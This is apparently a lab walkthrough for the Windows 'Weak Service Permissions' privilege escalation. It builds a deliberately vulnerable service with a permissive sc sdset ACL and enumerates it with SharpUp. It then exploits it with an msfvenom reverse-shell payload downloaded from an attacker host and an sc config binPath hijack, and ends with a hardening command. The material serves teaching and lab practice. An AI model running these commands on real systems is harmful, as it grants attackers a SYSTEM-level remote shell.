Weak Service Permissions" on Windows indicate insufficient or incorrect permissions within services. Exploiting this vulnerability enables attackers to gain unauthorized access or elevated privileges by manipulating a service's configuration.
- Open a PowerShell with local Administrtor Privileges and use the following command to create a new folder:
mkdir "C:\Program Files\CustomSrv3\"
-
Download the file Service3.exe to the 'C:\Program Files\CustomSrv3' directory.
-
Install the new Service:
New-Service -Name "Vulnerable Service 3" -BinaryPathName "C:\Program Files\CustomSrv3\Service3.exe" -DisplayName "Vuln Service 3" -Description "My Custom Vulnerable Service 3" -StartupType Automatic
- Edit new service's permissions to be controlled by BUILTIN\Users:
cmd.exe /c 'sc sdset "Vulnerable Service 3" D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)(A;;DCRPWP;;;BU)'
Outcome:
- Verify the new service (services.msc):
- Manually start the service from the service panel, or reboot the machine due to the service is set to start automatically upon machine boot.
ℹ️ If you want to unistall the new service use the following command:
Remove-Service -Name "Vulnerable Service 3"
To set up the lab with the 'Weak Service Binary Permissions' vulnerability is by using the custom PowerShell script named WeakServicePermissions.ps1.
- Open a PowerShelll with local Administrator privileges and run the script:
.\WeakServicePermissions.ps1
Outcome:
- Manually start the service from the service panel, or reboot the machine due to the service is set to start automatically upon machine boot.
ℹ️ If you want to unistall the new service use the following command:
Remove-Service -Name "Vulnerable Service 3"
To run the SharpUp tool and perform an enumeration of the Weak Service Permissions
vulnerability, you can execute the following command with appropriate arguments:
SharpUp.exe audit ModifiableServices
Outcome:
- Create with msfvenom a malicious exe file:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=1234 -f exe > nikos.exe
-
Open a listener in your kali machine.
-
Create Temp folder:
mkdir C:\TempFolder
- Transfer malicious executablr file in Temp folder:
iwr -Uri http://<ip>:<port>/nikos.exe -Outfile C:\TempFolder\nikos.exe
- Reconfigure the binary path on the vulnerable service:
sc config "Vulnerable Service 3" binPath= C:\TempFolder\nikos.exe
- Verify that the path has indeed been updated:
sc qc "Vulnerable Service 3"
Outcome:
- Stop the running service:
sc stop "Vulnerable Service 3"
- Start the vulnerable service:
sc start "Vulnerable Service 3"
Outcome:
- Verify the reverse shell on your Kali machine:
To defend against Weak Service Permissions vulnerabilities, adjust permissions on Service initiated through this mechanism. This limits unauthorized access and strengthens security measures:
sc sdset "Vulnerable Service 3" D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)